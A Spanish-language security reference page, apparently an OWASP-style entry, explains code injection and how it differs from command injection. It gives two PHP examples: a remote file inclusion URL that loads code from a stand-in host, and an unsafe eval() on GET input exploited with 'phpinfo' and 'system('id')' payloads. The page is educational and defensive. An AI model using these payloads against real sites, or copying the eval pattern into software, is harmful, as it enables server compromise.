Inyección de Código

Last revision (mm/dd/yy): //

Descripción
Code Injection es el término general para el tipo de ataques que tratan de inyectar código que es interpretado/ejecutado por la aplicación. Este tipo de ataques explota el manejo pobre de información no confiable. Este tipo de ataques son habitualmente posibles por no validar apropiadamente las entradas y salidas de datos, por ejemplo:


 * Caracteres permitidos (expresiones regulares, clases o personalizadas)
 * Formato de los datos
 * Cantidad de datos esperada.

Code Injection difiere de Command Injection en que un atacante esta limitado por las funcionalidades del lenguaje inyectado. Si un atacante es capaz de inyectar código PHP en la aplicación y hacer que este sea ejecutado, él solo estará limitado por lo que PHP es capaz de hacer. Command Injection ( Inyección de comandos) consiste en el aprovechamiento de código existente para ejecutar comandos, normalmente sin el contexto de la SHELL.

Factores de Riesgo

 * Este tipo de vulnerabilidades pueden ser desde muy fácil, a muy complicadas de encontrar.
 * Si la encuentras, normalmente no son muy difíciles de explotar, depende del escenario.
 * Si son explotadas correctamente, el impacto podría cubrir la perdida de confidencialidad, perdida de integridad, perdida de disponibilidad y/o perdida de responsabilidad.

Ejemplos
Ejemplo 1

Si una aplicación pasa un parámetro enviado vía petición “GET” a una función “include en php sin verificar la entrada, el atacante podría intentar ejecutar un código diferente al que el desarrollador tenía en mente.

La dirección de abajo pasa un nombre de página a la función include.

http://testsite.com/index.php?page=contact.php

El archivo”evilcode.php” puede contener, por ejemplo, una función phpinfo la cual es muy útil para ganar información sobre la configuración del entorno en el cual el servicio corre. Un atacante puede solicitarle a la aplicación que ejecute este código PHP usando la siguiente petición:

http://testsite.com/?page=http://evilsite.com/evilcode.php

Ejemplo 2

Cuando un desarrollador usa la función PHP eval y le pasa datos no verificados que el atacante puede modificar, la inyección de código puede ser posible.

El ejemplo de abajo muestra una forma peligrosa de usar la función eval:

$myvar = "varname"; $x = $_GET['arg']; eval("\$myvar = \$x;");

Como no se verifica la entrada el código anterior es vulnerable a un ataque Code Injection.

Por ejemplo:

/index.php?arg=1; phpinfo

Mientras explota agujeros como estos, un atacante podría querer tambien ejecutar comandos de sistema. En este caso, el agujero que proporciona la inyección de código tambien puede ser usado para inyectar comandos, por ejemplo:

/index.php?arg=1; system('id')

Relacionados Threat Agents

 * Category: Internet_attacker
 * Internal_software_developer

Relacionados Attacks

 * Command Injection
 * SQL Injection
 * LDAP injection
 * SSI injection
 * Cross-site Scripting (XSS)

Relacionados Vulnerabilities

 * Category: Input Validation Vulnerability

Relacionados Controls

 * Input Validation
 * Output Validation
 * Canonicalization

Referencias

 * CWE-77: Command Injection
 * CWE-78: OS Command Injection
 * CWE-89: SQL Injection